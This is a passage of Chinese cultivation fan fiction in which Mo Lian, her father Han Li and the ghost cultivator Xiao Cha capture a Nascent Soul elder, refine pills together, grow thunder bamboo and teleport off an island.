墨怜一语定音,掏出一块地图,随意用指尖戳了戳几处,“锚定一处,便可穿梭。”
说起来,倒像是任意时空门的降维版本。
唯一的难点便是,用起这玩意会很耗能量。
拿出地图之前,两人目光紧盯着画面,越发惊异墨怜是从何处得来如此详细的地图。
等墨怜说出可以定瞄传送时,连韩立也绷不住沉着的表情。
浓眉大眼的老实相闪过一丝渴望,“若果真如你所说,只需灵石的话……”
“我们天涯海角随意去!”墨怜托起脸腮,替他说了后面的话。
这可就了不得。
若是天地之间来去自由,那对任何一个修士来说,都是莫大的诱惑!
两人不约而同地想。
身为墨怜的生父,韩立头一次觉得自己很幸运,有此秘宝在,可比随机找的传送阵好,但使用此宝也要万分小心。
经历尔虞我诈,人心算计的洗礼,他太清楚身怀异宝,需得慎之又慎。
但不同于韩立的深思,萧诧看向墨怜的眸色更为深邃。在不能玩火后,他就盘起灵果来。水珠滋在他修长却饱满的指腹,柔泽了一小节暗赭的甲面。
洞顶透来一片薄光折出其手的光亮,仿若通透的小型水晶球,被墨怜转眼撞见,心神为此停留一瞬。
无时无刻不在吸引人注意。
她暗念,老鬼的手该用密封箱给锁起来!
“但是——”墨怜话锋一转,尴尬地挠了挠脸颊,“启动此阵需要大量的灵石作为能耗。”
闻声,韩立微垂眼眸,掩去眸底的精光。
“灵石啊……”
萧诧暗念,斜睨了旁边的韩立,紧蹙的眉间又舒展开来。
犀利的视线却一再扫向欲举杯喝茶的墨怜。
发觉被盯,墨怜又闷了一口,唇齿被茶香溢满,若非与他相处有些时日,哪看不出这老鬼压根就没全信!
也对,要真信了。
她倒要反过来怀疑老鬼又打啥鬼主意。
被封印多年,也不知他还有没有灵石。可现在还不能解除绝灵领域,此事需与韩立再行商议。
“我的话便说完了。”
墨怜笑了笑,澄澈的眸子望向萧诧,头一歪:“麻烦玄骨前辈你去煮一下兔子肉咯。”
“……”萧诧绷出一个勉强的笑容。
好哇,让老夫旁听一会,便要赶人了!
但此刻属于“寄人篱下”,他到底是隐忍下来,等秋后找这小丫头算账。
把萧诧催去做饭后,墨怜带着韩立穿过一道屏障,来到一间临时新劈出来的小室。
“啪嗒!”
墨怜掏出一盏陈旧的宫灯,用灵火充当灯芯。
视野从一片黑漆漆,显露出对面微眯起眼的韩立,幽黄的焰光点亮了他那双古沉的眸子,下颌微动,“墨怜,你说吧,为父听着。”
见他话直接,早有预判似的,墨怜也不端着。
“这个传送阵,还未到我手中,只因那卖主,需要我用同等价的物件作为交换。”
韩立心下了然。
“你需要何物,为父……或能一助。”
“丹药和符箓,有灵药也行。”
墨怜掏出自己的储物袋,不设防地一排排列着这些年来炼制的丹药,还有几沓符箓。
越摆,她动作越迟缓。
这一幕,自己咋那么像是在给家长展示作品?
突如其来的忐忑上涌心头,墨怜见韩立拿起其中一瓶拧开来看,下意识吞咽了下喉咙。
目光灼灼地盯着他凑近鼻尖嗅查。
认真而专注的神情,形如严父般考究自己孩儿,不知怎的,墨怜觉得眼圈有点发热,喉咙也被塞来一块石头似的发紧。
此刻,她无暇去观察韩立下一步的举动。
昏暗的光线里,她狠狠眨了眨眼,才压下那一股情绪暗涌。
在韩立抬眼看来时,她扯了扯嘴角,又拿出一小捆萦魂草,“这是……萦魂草。”
“嗯?”韩立眼光一亮。
好奇地分出一株,感受到一股奇异的感觉,他神识似乎活跃了下。
墨怜碎碎地说,“是在一处秘境所寻,而我来到乱星海,也是因为这个秘境所致。”
“嗯。”
韩立静静听着,听她说起秘境
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遭遇,又听她谈及与萧诧相遇的部分细节。
这八年间缺失的了解,被墨怜一字一句构建出大致画面。
他那一刹那,忽然觉得墨怜与自己很像,同样是在这残酷的世间,抓住一切可利用的机缘,万事都小心,容不得一点闪失。
那时,墨怜独身一人,或许也同自己一样,有过孤军奋战的寂寞。
旁的墨怜未再多说。
父女俩的对话,伴随这灵火的寂灭,落下帷幕。
收拾一番出来后,石床边歪坐蒲团上的萧诧,闭着眸,指尖缠绕一缕黑发,嘴里哼着不知名的小调。
听到脚步声,他也不睁眼,“哟,说完悄悄话了。”
大抵是习惯他这跳脱的语气,墨怜竟认真地开口:“谈好了,接下来得抓紧时间,来,干活吧。”
把整理好的灵药,符纸排在桌上。
再放上萦魂草时,一只手又不自觉地伸了过去。
在即将摸到的那一瞬,墨怜攥住某鬼的腕骨,食指与铜镯相碰。
“见过也摸过了,怎么还这般爱不释手。”墨怜笑骂。
萧诧被逮住现行,面上也显尴尬之色,嘴上念念有词,“可曾记得,老夫说过此灵药可辅佐其他药材,炼制成丹。”
默默围观的韩立,竖起耳朵。
“你有丹方?”墨怜惊讶。
据她所知,这老鬼也才知道不久。
这么快连丹方都要被他给琢磨出来?
墨怜看他就像看个稀奇物。
正待萧诧说出个所以然来,下一刻,886在脑海响应,神识也感知到一股强大气息接近。
【来者是元婴初期修士!】
墨怜脑瓜子嗡嗡作响。
啥玩意?
掏出炼丹炉的韩立,见墨怜表情凝重,也不拾掇灵药了,他立马又收了起来。
“来了个元婴修士。”墨怜咬了咬唇。
海岛外。
“几位小友,乌丑乃是极阴岛的门人,老夫与极阴素来有几分交情,见他后人被你等所抓,前来讨个人情——”青易居士悬浮在岛外,捋了捋胡须。
声音传遍整座岛屿。
见墨怜等人不现身,他分明又感应到乌丑的气息。
青易老头眉峰一挑,不知是哪方人士竟敢小觑他。便想降至岛上,揪出藏匿之人。
可人一接近岛,整个人啪叽往下掉。
在外界看来,被绝灵领域笼罩后,与寻常景象一致,来自规则级别的法宝,也不是元婴神识能够一探而知。
于是,青易嘴边被拉长的情字尾音,变成喇嗓子眼的哎呦叫唤。
墨怜出了洞府,超常的五感,便看到坠落在草地上的一个青紫长袍的老头。
正揉着后背,以不符合老胳膊老腿的速度,慌忙去捡地上掉落的物品。
这幅样子,她好像似曾相识。
但转念,她手锤另手掌心,“不好,这回可是元婴修士,也不知他背后有没有势力?”
麻蛋,又有个人知道绝灵领域。
人在乱星还不过十年,即将开启亡命天涯。
墨怜无奈地闭上眼,散去这念头,见青易犀利的眼神扫向四下里,她已蒙上脸。
后头的韩立、萧诧伫立在树林中,未动身。
见墨怜过来,青易居士抖了抖肩膀,“哎呦,老夫这把老骨头是打不动架了,只是来见见故人之孙一面。”
还老骨头呢,元婴老怪杀十个她,不过伸手的事。
“前辈,你能忘掉眼前看到的一切吗?”
墨怜抽了抽麻绳,可是升级版的缚灵绳。
青易居士:……要不,放老夫重来一遍?
答案不言而喻。
墨怜啧啧嘴,“那不好意思了,前辈,你自求多福吧。”
因为她准备先下手为强了!
886迟疑问:【小怜你要兑换忘忆药水?】
墨怜勾唇,‘情势造就了我得如此!’
但转念想,此情此景咋像是在……钓鱼执法?
趁这个间隙,青易眸底掠过一丝精光,奔起两腿,往外狂跑,直到——
“碰!”
17. 父女炼丹
清脆而响亮的一声,以头硬磕绝灵领域的防控壁垒,为测试其硬度深浅,老头发挥了敢为人先的勇气和魄力。
成功获取‘连元婴修士都破除不了’的见识后,墨怜心中感慨。
自己要捆起这位大功臣,貌似有点不太近人情。
但衡量一下小命和面子,墨怜果断拉了拉缚灵绳。
此时的青易陷入昏厥状态暂未醒神,周身还噼里啪啦的冒电花,花白的头发和胡子被电炸得崩成刺猬状。
嘶,原来还有电击效果!
墨怜乐滋滋地将老头捆成粽子,顶着海风和阳光,一步一个脚印,拖着绳子一端往前方的密林走去。
被拖的青易眉眼不由紧皱。
一会被石子一绊,一会又被藤蔓勾住衣角,像坐一艘颠簸异常的海船。跌跌宕宕,没个舒心!
走到半途,墨怜掏出一瓶冒着绿泡泡的药水玻璃罐。
举到眼前,轻晃瓶身,透明玻璃壁里透来阳光,忘忆药水漾起小气泡,绿荧荧地,像是浸入水中的翡翠绿宝石。
‘886,这玩意能喝吗?看起来就不大有食欲,倒像是女巫大锅里刚捞起来的……’
面对墨怜的迟疑,886只好解释:
【最便宜的药水,外观上当然就不好看咯,但你又不喝,不用担心!】
‘效果也不好么?’
【那……倒也没有,给你打个比方,人用药和兽用药,都是一个作用,区别在于使用过程是否温和,不会伤及人体。】
‘那我之前买了便宜货,岂不是?’墨怜拉长了怀疑的语气。
886连忙补救:【不过,在万界交易平台是没有这种担忧的!无论是昂贵还是廉价,最基础的安全问题,是经过平台筛查的合格品。】
姑且信了886这番言论。
墨怜从瓶中分离出一小滴,混合了一团清水,灌进了青易的嘴里。
看着老头吞咽下去的动作,摇晃枝叶的树林间,海风阵阵,墨怜乌发若云雾般散飘,一股淡幽又熟悉的香气闯入鼻腔,令人不觉回味。
“连元婴修士都被你这般捆锁。”隐没在绿荫暗处的萧诧,双手互搭,似乎静静注视这边许久,“丫头,你还挺能耐的。”
“这是第二个。”
墨怜弯起狡黠灵动的眸子,成功看到某鬼变了脸色后,才掩嘴一笑,“第一个是谁,我有点忘记了……”
“好了,别贫嘴了,丫头你还是动下脑子,想想怎么妥善处理此事。”萧诧没好气地睨了她一眼。
“那是自然~”
惬意又温暖的日光下,墨怜边拖人,边握着药水瓶,一脸完全不在乎萧诧频频扫来的探究目光。
“丫头,你手上握着的是何物?”
“你猜啊。”
“老夫只是少见,才随口一问,不必这般提防。”
“你猜啊。”
“……”萧诧黑沉下脸,五指收拢,咯吱的骨头响,他冷嗤了声:“怕是什么毒药吧?”
墨怜努起嘴,“嗯嗯,玄骨前辈您说得都对。”
嘿嘿,她就是吊着这老鬼。
不说,就不说,让他抓心挠肝地琢磨去吧。
谁叫他夺舍时还摆了她一道。
本以为这么一激,萧诧会破防失态,可出乎墨怜的意料,他失声笑了一下,仿若春风拂面般消散了那丝阴戾,翠影斑驳地勾勒出他微顿的鼻准,整个脸笑起来,惊艳到骨子里。
从前见得最多的,是阴笑,冷笑,皮肉不笑。
他笑了,尽管笑意很淡很浅,那双霭蓝凤眸携一圈红妆,飞遁进她心海深处的小树,栖枝了好几个瞬息。
墨怜垂落眼眸,掩饰那一丝不自然。
脚下步子迈得越发快,后边的萧诧不急不忙踩在她的脚印上,覆盖了那一串痕迹,唇齿逸散出不着调的曲子。
……
山洞外,墨怜拍了拍手,刚将青易分配了一间单人房关好,身后传来韩立温和的声音:
“关押此人,不是长久之计。你那绝灵领域还能维持多久?”
闻声,墨怜查阅了下使用时长,又去看群聊里多情桃花前辈的私信。
绝灵领域能耗低,仅需要灵力维系。
墨怜估摸着日子,“我们尽快在半月之内,筹备好丹药符箓,我们再用传送阵离开此岛。”
“这样也好。”韩立停顿了下,话锋一转,“不过,今日落陷的元婴修士,若非启用了绝灵领域,我们几个筑基修为,恐难有存活的机会,足见此宝威力惊人,因之,如若被歹人所知晓,后果将不堪设想。”
听到韩立投来的劝告,墨怜也清楚,“他们都是魔修,我若有一个克制他们的办法就好了。”
“克制之法,为父从典籍中曾阅,需有至刚至阳之物,可克制邪崇。”
若要像韩立说的那样,墨怜琢磨着也需要考虑下此类法宝。
先前想要借用的镇魂古铃,有排队的隐患,等她拿到手,人都被萧诧给搜魂练魄了。
目标太过宏远,她得换一个。
墨怜如此一想,望了望韩立平静的面容,“我们还是先炼丹制符……”
领悟到她意思的韩立,轻笑,“说起来,墨怜你这几年的炼丹手法日益精进,比起先前在燕家堡时好了许多。”
“诶?”
爹,你是肿么知道滴。
被他这么开口一夸,墨怜压不住嘴角上翘的笑弧,如果她有尾巴,都要像小狗似的甩成螺旋桨了。
两人回到洞府内室。
提前归来的萧诧已经在水洗灵药,修长的手指漫过水流,一点点洗净表面污垢。做起这种繁琐而枯燥的流程,他神情专注,额发散在眉间落下浅灰阴影,也只抬手拨到耳侧。
那只左侧的晶蓝穗子,随他身躯一动,亮眼得很。
墨怜和韩立都未开口闲聊,不约而同地捡起活来干,各司其职,分工协作。
最后的入鼎炼丹,则交给墨怜和韩立一起并行。
被支会去画符的萧诧,落下一句酸柠檬的话:“行行行,你们父女情深,我一个外人还是画些符纸,随便打发了就是。”
正事要紧,墨怜轻哼了声,转身跟上前一脚进入炼丹处的韩立。
父女两人都是炼丹老手,搭配干活,协调又默契。
布下一些韩立临时教导的禁制,墨怜就先分隔开这个空间,防止被绝灵领域抽取灵气,再给了韩立一些灵石。
得到灵石里的灵气补充,韩立不一会便恢复了力量。
“失而复得,方知灵气才是根本。”他看向双手掌心,叹息感慨,转而又道:“我们开始炼丹。”
“嗯。”
两鼎炼丹炉被放置不远处的岩台上,韩立双手掐诀,一道青绿灵光从指尖凝起,驱动着炮制好的灵药,一一放入炉内。
紧随其后,墨怜祭出一团灵火,分一为二,引燃在两炉子底部。
炽热的火焰蹿高,膨胀而出一股热汽扭曲了眼前的视野。
炼丹之时,两人皆是高度的精神紧绷。
一旦有误便可能炸炉。
墨怜心神专一,负责其中一炉,用灵力将灵药揉化成泥状,再仔细地剔除其中杂质。
伴随咕噜咕噜的声响,空气中弥漫着各种药材掺杂在一起的气味。
烟熏火燎地,不知持续了多久。
终于集中精力将药泥糅合成药丸状时,耳畔传来一声炉底触地的轻响,墨怜精神一奋,一鼓作气地揉成一颗颗圆润的丹丸。
“爹,我的也成了。”墨怜卸去灵力。
快步走到炼丹炉前,开鼎,十来颗闪着莹光的丹丸被她操控在半空中,弥漫开一阵阵沁人心神的药香。
“做得好,一次成丸有上品品质,药性还保留了八分。”
徐步走来探看的韩立,毫不吝啬地夸赞。
墨怜也去看韩立炼出的成品,鼓了鼓掌。“爹的手艺也不赖,出品多,都在上品,我看咱们开一间铺子,都能赚得盆满钵满了。”
一连炼丹好几日,余间的药材都是由萧诧先炮制好,再送进炼丹处,不过他只能止步在禁制外。
对他的炮制手艺,墨怜也是赞不绝口。
只能说,不愧是元婴级别的老怪,动手实践能力极强,而老鬼还做得有条不紊,仔细周到,这优点她狠狠点赞。
炼丹的闲暇调息里,墨怜在脑海又问起886:
‘这附近应该不止有魔修横行,此处的正派修士又是靠什么来抵御魔道?’
886嗯了半天,才崩出一句:【附近的话,那就只有妙音门的金
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雷竹了,不过人家门派才不会随便把镇派之宝轻易送于外人。】
‘我想要,那平台应该也有吧?’
不等886回她,墨怜便在万界平台上搜索起金雷竹。
可看见积分高低,竟是按年份来排的!
一划拉到底。
墨怜才看到最适合她的价位。
是一块天雷竹的根茎。
886又在旁边念叨:【记住哦,只有长到万年,才会进化成金雷竹,生出金色辟邪神雷,来克制鬼崇。】
‘怪不得你们平台卖这么优惠,原来是要一万年才能有辟邪神雷,等它长大,除非我变成光。’
墨怜无奈得撇嘴,但还是用积分兑换了。
万一以后有什么可以让植物快速生长的药水,这金雷竹种子就能派上用场。
掏出这一天雷竹块茎来端详,就正常的植物根须,因为有灵气的滋养,显得更为大块。
发觉墨怜在手中端详的东西,韩·园艺小能手·立双腿不自觉地迈来。
恰似随意地问:“这是什么灵植的根茎?”
“之前交易时有人送给我的。”墨怜举起种子给他看,“此物是天雷竹的根茎。”
“天雷竹?”韩立好奇。
“那人说,天雷竹若长成,便可进化成金雷竹,生出一种辟邪神雷,专克阴邪,不过——”
墨怜苦恼起来,“这东西得长一万年,我可没这么久的时间去等它长成金雷竹。”
“……”韩立眼芒一亮。
似乎纠结了一会,他挨在墨怜身边的石阶坐下,温声说:“墨怜,不妨将此物交由为父来培育。”
“诶!”墨怜歪头,“爹,你会养灵植?”
对视上她那双水盈盈的眸子,韩立眨了下眼皮,用最老实的语气解释:“为父得知一催熟灵方,可在此宝一试,不知墨怜你是否愿意让我一试。”
“这……”墨怜到底没见过她爹培育植物。
出于对血亲的信任,她还是交给韩立,“爹,你也不用担心失败,我还能再找那人交易。”
“……你放心,为父有八成以上的把握。”
韩立出口保证,说到这时,他心里泛起一丝莫名的涟漪,被至亲信任包容,分明该感到高兴,可他又觉得心头沉甸甸的。
那些藏于心底最深处的隐秘,一字未吐,依旧被他严防死守。
韩立收下后,两人继续投入炼丹。
……
十天后的月夜,两道人影一前一后溜出洞府。
黑幕悬一轮满月,薄薄月辉若一层幻纱铺满草坡的每一寸野草野花,墨怜沐浴着辉光,仰面对月,放松身体地平躺下来。
闭眸回忆这些时光,如一帧又一帧的影片在脑海放映。
她轻叹。
太过依赖外界道具了。
这绝灵领域还是多情桃花借给她的,虽未明说要她立即就还,可她还是觉察到自身实力的孱弱。
其实,面对那日掉落的元婴老头。
她猜想过,若自己一招不慎,被他抓住,等待她的又会是什么深渊?
再加上,招惹上极阴岛。
恐惧害怕像一张藤蔓编织成的绿网,死死缠紧她的脖颈,让她始终有一种喘不上气的惊忧。
【小怜,不用那么杞人忧天了,你还有本统陪在你身边。】
886在脑海安慰她,还变化成小白团,在她识海里的世界树苗前蹦跶,搞怪,随她心念一动,一道分叉枝桠如活人手臂一般,朝白团子捏了捏,软叽叽的触感,逗得整颗树苗都抖了几下。
【怎么样,你开心了一点没?】
它都被自家宿主一顿搓扁揉圆,这还不笑一声,那它可要闹了。
‘嗯,我觉得得找一找炼制本命法宝的材料,实力才是一切的根基!’
远离此处数里之外的山洞。
一道灰蓝的身影,从关押着青易的洞内走出,冰幽的月光映在他幽深妖冶的眉眼间,犹如夜间肆行的鬼魅,周围缭绕一片晦暗的鬼气。
萧诧头也不回对身后摆了摆手:
“大可放心,老夫答应的事,不会反悔,届时一切都按实情进行。”
说罢,他眸光一闪,扫向一侧墨绿树林。
视线锁定在一处山坡。
18. 当面抱女
月风凉凉,大地一片静谧,萤火飘浮至趴在草地上的女孩,点点青光映着她柔和的侧脸,纤长的睫毛如蝴蝶般轻眨。
侧躺的墨怜缓过神来,手指有一搭没一搭地拂过坚韧生长的野草叶面脉络,不知是不是因为体内的世界树苗的缘故,她对植物有着天然的亲近感。
被886安抚下心情,她也没那么沉郁。
以后的路,她还要一直往前走,人生如棋落子无悔,已经来到乱星海,在这物产丰饶的地界,她想进阶金丹,想拥有强大的实力。
墨怜轻声对自己说,“墨怜啊墨怜,你一定要变得更强,成为庇佑一方的参天大树!”
夜风萧萧,枝桠与枝桠间的摩擦涌动,墨怜坐直了上半身,语气不冷不热:“还站在那边做什么,来都来了,不如也一起赏月?”
“哦?还以为你不把老夫放在眼里了。”
萧诧背手而立,半短半长的黑发随风飘动,犀利的目光落在半陷在阴影里的墨怜,在偌大空旷的山坡上,显得格外的单薄落寂。
风一阵又一阵吹过,月亮被一抹乌霭隐匿了半边,周边光线陡然黯淡下来。
或许是月夜太过安静,墨怜忽然想说些什么。
可旁边,只有这个老鬼。
想起方才她暗自碎念,不知有没有被他听到!
萧诧完全没有被点破的尴尬,竟主动挨在墨怜身边的草地,席地而坐。
那一股若有若无的体香袭来,墨怜还回味着之前的羞赧,想躲他闪远些,可身体仿若被定住似的,屁股抬不起,双手倒是先交叉地攥在一起,无意识地扣起指甲。
彼此之间该是互相防备的状态才对。
还有,老鬼为什么要靠着自己坐的……那么近?
墨怜微微偏头,用眼角余光去打量萧诧,只见他直勾勾注视她,未有一丝一毫的掩饰。
见她回视后,他还舒展眉眼,含在喉间的闷笑了声。
此刻,她才发觉萧诧黑压压的长眉下,眼瞳若冷夜里的幽潭,深邃而迷人,与之对视,整个灵魂都要被他吸走、吞噬。微垂的睫毛似潭边的荒苇乱草,半遮半掩,看不透他是以何种心境来看待她的。
所在他虹膜上倒映的自己的那张放大面孔,是否就是他心中的自己的全貌?
墨怜往旁边的空地挪了挪,“挨那么近做什么,不知道男女七岁不同席?”
“丫头,你不想变强吗?方才你可是对月立志,要成为一方巨树,不若进阶金丹,你在这乱世最终不过意外殒命,或为人侍妾而终。”
“偷听人家讲话,很有意思么。”墨怜讽刺地说。
“你灵根斑驳需要靠降尘丹来洗涤,冲刺凝丹之时需要大量妖丹所炼制的丹药,作为灵气储备,还有备上守护神魂之宝,再加以功法的修炼,一同作用下,保你结丹几率大大增加。”
这老鬼自顾自的讲话,那自信的桀骜神情,仿佛笃定自己一定会走心似的。
墨怜看得牙痒痒。
但不可否认的是,他为自己画出的这一蓝图,清晰明了,连前行需要准备些什么,都为她指点周全。
若他不是一个随时想夺舍、下黑手的鬼修,看在对方见识渊博、经验丰富的份上,她或许会考虑拜这老鬼为师。
“玄骨前辈,我还真得感谢你那些提点。”
墨怜看着伸出的指尖,停悬了一只萤火虫,又继续说,“但无利不起早,你想从我这边得到什么呢?”
“何必这么小心,”萧诧轻笑,“老夫确实有想得到的东西,但不是在你一个小丫头身上,别把自己想成人人馋羡的香饽饽了。”
也不管墨怜如何看,他仰面躺下,双手交叉叠在脑后,姿态说不上来的恣意慵懒,一身灰蓝竟无比丝滑地融入草间,构成浑然一体的美景。
反倒衬得墨怜像个竖着尖刺的小刺猬,只敢缩在安全外壳里。
墨怜闹了个红脸,按老鬼这么说,从初次见面到现在,她哪一次不是躲在自己的‘壳’里,才有底气与他对峙。
点了她只顾防守的事实。
可她也不觉得自己这么做有什么不好的。
大大小小的事面前,都没有生死重要,她一直秉持着不管发生了什么,小命最要紧,现在有绝灵领域在,她本该紧防着萧诧。
防到彻底……拥有压制他的能力。
墨怜暗暗幽幽地思索了可行性,就听萧诧微沉的声线在寂静虫鸣里格外清晰:“老夫年少之时,无有家族依仗,因机缘巧合踏入修仙门道,到成立玄阴岛前,不过乱星海一名小小散修。后来领悟天地之规律,才有如今傍身的玄阴诀功法,哎,且说这些,不过追忆曾经的来时路。”
“老夫从未后悔之前所做种种,唯独悔恨错教弟子,落得个如此境地……那日你想让老夫传授功法,岂不与触吾之逆鳞无异。”
听到萧诧语气越发咬牙切齿,墨怜对他有多么痛恨两逆徒的执念,有了更深刻的认识。
杀徒成为他拼命活下去的复仇动力。
可若只有这点,未免太过狭隘,以墨怜对萧诧的粗浅了解来看,老鬼自信又自负,眼神写满了野心勃勃,偏偏还满嘴鬼话,谁知除了复仇,他会没了旁的心思?
修士最关心的,无非是任何能提升实力的秘宝。
他为何能被逆徒重伤,又为何舍弃轮回资格,也要重现于世?那份隐忍蛰伏里,墨怜不信只有这些编给她听的话,必然还有隐情,而且她敢肯定与什么宝贝有关!
看破不说破,墨怜只落下一句,“今晚月色真美,可惜被乌云遮挡了。”
萧诧:“……”
他气息略微发粗,都如此剖心来倾诉自己的来时路,丫头还如此沉得住气,顾左右而言其他。
一点儿不见上套的可能。
抬手抵在下巴,萧诧稍顿,又笑了起来,“呵呵哈,丫头你猝然临之而自若,行事谨慎却不迂腐,又一心想学玄阴诀,倒合老夫胃口。”
“怎么,你想现在传我功法,要传,你就快些吧。”
墨怜为了这功法,前后不知被耽搁了几次,每次想学时,总有旁的阻扰。
转眼,掏出她的书卷,摆出认真听讲的架势。
深深地看了她一眼的萧诧,忽的闭眸,仿佛方才说着满意的人,与他无关似的。
无人察觉的死角处,萧诧攥紧了袖间的手拳。
墨怜不明所以,暗骂,这老鬼真小心眼,还记着上回她故意吊着他不说药水为何物的仇。
现在倒好,用功法吊着她,就迟迟不讲。
这月夜又多了一重不悦的回忆。
……
洞府暗处,布下层层禁制。
韩立秉着烛光,看着用小绿瓶灵液培育的天雷竹根茎,一夜一个变化,经几夜过去,已渐渐呈现出金色形态,竹叶与竹身之间隐隐蓄着雷电。
培育过程虽繁杂,他依旧一丝不苟,随笔记录天雷竹成长的各种小细节。
“这便是辟邪神雷么?”韩立用灵力小心包裹出一小团神雷。
经过一番试探、观察后,这辟邪神雷的威力不俗,他甚至萌发了将其炼制成本命法宝的念头。
这么一想,便一发不可收拾。
韩立将块茎分离,再培育,又分离培育的循环,源源不断的金雷竹被他量产。
即便数量够了,他也没停手,还对身边的曲魂指挥:“曲魂,去给第十四排的天雷竹浇灌灵液。”
他见墨怜并无攻击性的法宝,不若也用金雷竹为她炼制一物,在她身边那个男修身携阴邪之气,有至刚至阳之宝作为克制也好。
从盆栽前起身,韩立看向照他话做的曲魂。
来自神魂联系下,他随时可知分魂所做的一切,但那种无处不在的空落落,如影随至,他心底不由想起,若身边多一个人呢?
旁的人他无法信任,但……墨怜呢?
韩立想起初见墨怜时,她不过八岁
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,脸上还未褪去婴儿肥,便想要追逐他,也要踏上修仙路。
在这一点,他们父女俩是志同道合的。
韩立嘴角微微翘起,身后的曲魂走来,他还拍了拍对方的肩膀,“好,就这样。”
曲魂顶着一张乡农壮汉的脸,僵硬地笑了笑。
几日后。
墨怜来到关押乌丑的山洞,给他喂了三分之一忘忧水,在旁边围观的韩立则问,“可是毒药?”
“不,这是能让人忘记一小段记忆的药水,效果估计不能维持太久。”墨怜应声,“等我们走后,这点时间也够极阴岛的人瞎转圈了。”
转手掏出一瓶丹药的韩立,递到墨怜面前,“用这个吧。”
“这是……”墨怜好奇。
开盖一倒,滚出一颗莹亮的丹丸至掌心。
“是忘忧丹。”萧诧抢先回答,见韩立转头投来的目光,他呵呵一笑,“这上古丹方,你小子竟然有,果真是机缘不浅。”
韩立素来不喜他,从墨怜这得知其是夺舍鬼修,心下没什么好感,回头只与墨怜说,“吃上三颗,不,还是两颗足矣。”
“那好。”
墨怜可不管这乌丑会不会被吃到记忆丢光光,尽管往他嘴里塞了两颗。
失去赖以生存的灵力,乌丑不想丢掉小命,也只能老实张开嘴被人喂下丹药。
另一头便是道号青易居士的老头。
介于对方是元婴修士,墨怜只好把忘忧药水弄成喷雾状,吸入鼻肺,照样能起到作用,也不想得罪得太狠。
还贴心地给这老头,留了一瓶补气丹。
传送阵早在前日,墨怜就用这些时日三人共同制作的丹药和符箓,兑换了一个。
考虑到安全性的问题,还有盈余的积分,便给韩立也兑换了一下,防止有空间乱流的存在。
收到墨怜的防护罩,韩立惊奇之余,嘴角翘得更高。
“那老夫呢?”萧诧双手相搭,指尖敲击着肘弯上的布料褶皱,“丫头,不能够这般厚此薄彼,老夫也有出了力,要不说与你……”
墨怜白了他一眼,戳破了他可怜兮兮的伪装。
“老鬼,你别得了便宜还卖乖,从我手里顺走的那面镜子,它的防护效果可不弱于防护罩!就当是送与你了。”
传送阵即将开始。
“还有一小会启动时间,站好,别乱动。”墨怜提醒道。
韩立颔首,将曲魂带近身侧。目光止不住地注视,逐渐扩张的阵法,眼里满是惊艳。
而在墨怜右侧的萧诧,依旧脸上挂着玩世不恭的笑容。
被开启的传送阵,在上空投现一道虚幻的图腾,数个奥秘的符咒,充满了空间之力的神秘与强大。
见时间快到,墨怜收起绝灵领域。
那一瞬,一根根细小到几乎无法瞬间反应的青色流针,朝墨怜的方向,飞遁而近,令人防不胜防。
扑通!
她不会就这么完蛋了?
脑海里的886也惊声,为她急的团团转。
时间仿佛被定格。
但眼前忽变,一阵天旋地转后,一双大手桎梏住她的腰身,将她打了个旋儿,她脸被坚硬的胸膛撞得发疼。
雾霭蓝的衣袍流纹在眼前被放大数倍,掌心传来的微凉触感,墨怜才惊醒,自己竟然被萧诧抱进了怀里!
她手呢,还放在他胸肌处。
抬头便对上他锋锐的下颌,那耳侧的蓝穗子,还轻飘飘地扫过她秀挺的鼻梁,羽毛拂过的痒。
“就说,元婴不好应对。”
墨怜愣了下,就见萧诧用那种妖冶又俊逸的脸,凑近些距离,眉对眉,鼻对鼻,“丫头,被吓坏了?”
就在他们对面的韩立,目睹了这一切的转变。
先是惊叹了那暗针的偷袭之快,而后,他才沉下眉眼,盯着某个不撒手的老鬼。
尤其,重点落在萧诧那搂着自家女儿的腰的手臂。
19. 链锁小鸟
荒岛上闪过一阵繁密而绚彩的光芒后,天空才恢复了原本的宁静。
海风卷起青易花白的长胡须,他苍老而矍铄的眼眸紧盯着光柱消失的位置,低喃:“乱星海又要再添一股腥风血雨咯!”
说罢,他垂眸瞧了瞧手中的补气丹。
回想到那天蓝袍男修来找他商议,是为谋取那女修的异宝,谁知道他略略一出手,蓝袍男修却变了卦,搅乱最初的计划。
所幸他也没把宝全押在那男修身上,只是先前入岛前灵力尽失的感觉,堪比乱星海之前的鬼雾传闻,叫他下手留了几分余地。
否则,凭他的青冥针暗袭,那女修只怕是会当场重伤。
哪轮得到,那厚脸皮的蓝袍男修在他个老头子面前,做一场英雄救美的秀儿?
对墨怜等人的离去,青易以自保为先。
至于探查此宝?
还是交由乌兄去办吧!极阴岛办事,向来强势高效。
敲定了主意,青易一整衣冠,另手提溜着昏迷的乌丑,用灵力逼出他体内尚未消化的药力。
带上清醒过来却满脸懵逼的乌丑,两人化为遁光,飞去极阴岛的方向。
……
传送阵结束光柱状态后,会将墨怜等人置于虚空之中。
被灵力包裹的地图,悬浮半空,墨怜一把推开萧诧,红了耳尖,目光看向地图,“先去小寰岛,之后我们再去奇渊岛。”
韩立颔首,“岛上洞府还有为父一些遗留之物,但到此之前,我觉得是时候谈一下玄骨前辈的事。”
被提名点出的萧诧,伸出修长的手指,点了点自己的胸口,“怎么,还没到地方,就要对老夫过河拆桥了?”
“道不同,不相与谋。”
韩立眼神坚定,语气掷地有声。以他阅人眼光,早已发现此人端倪,再结合墨怜曾对他说,此老鬼两度对她下过杀手,又曾在封印禁岛设局谋杀修士。
如此危险而嗜血的人物,韩立不想自己和女儿,时刻处在不安定的状态之中。
“前辈,我等修为尚浅,又无意与前辈结怨,不若分道走之,我等忙碌修炼,无心搅动风云,杀人夺宝。”
听到韩立不容置喙的话,墨怜心中一动,其实她还有一些多情桃花前辈留下的小要求。
【用红绳捆绑*1】
【在脖颈处挂金铃*1】
【红绳与金铃齐上的湿身版*1】
【带着毛绒狐耳对镜头呜一声*1】
这还不是全貌,但那前辈却承诺,能让她再用久一些。
对现在的她来说,此等宝物已被外人知,不若继续持有,就算被人通缉,也有反击的余力。
因此,玄骨老鬼还不能被这么快赶走。
好歹等榨干了他美貌价值,墨怜是这么说服自己的,转过面对韩立劝说:“爹,暂时先让他留在我们身边。”
闻言,韩立蹙紧眉间,“莫要被他外表蛊惑,你也曾被他暗下杀手。”
“话虽如此,方才他也的确救了我一命,况且在他走人之前,却曾答应要传功法于我,不若先待他传授,了却这一段因果,再言分道扬镳。”
以为墨怜还是对人性抱有一丝侥幸,韩立未再多说。
心中早有对萧诧定下反杀的招数。
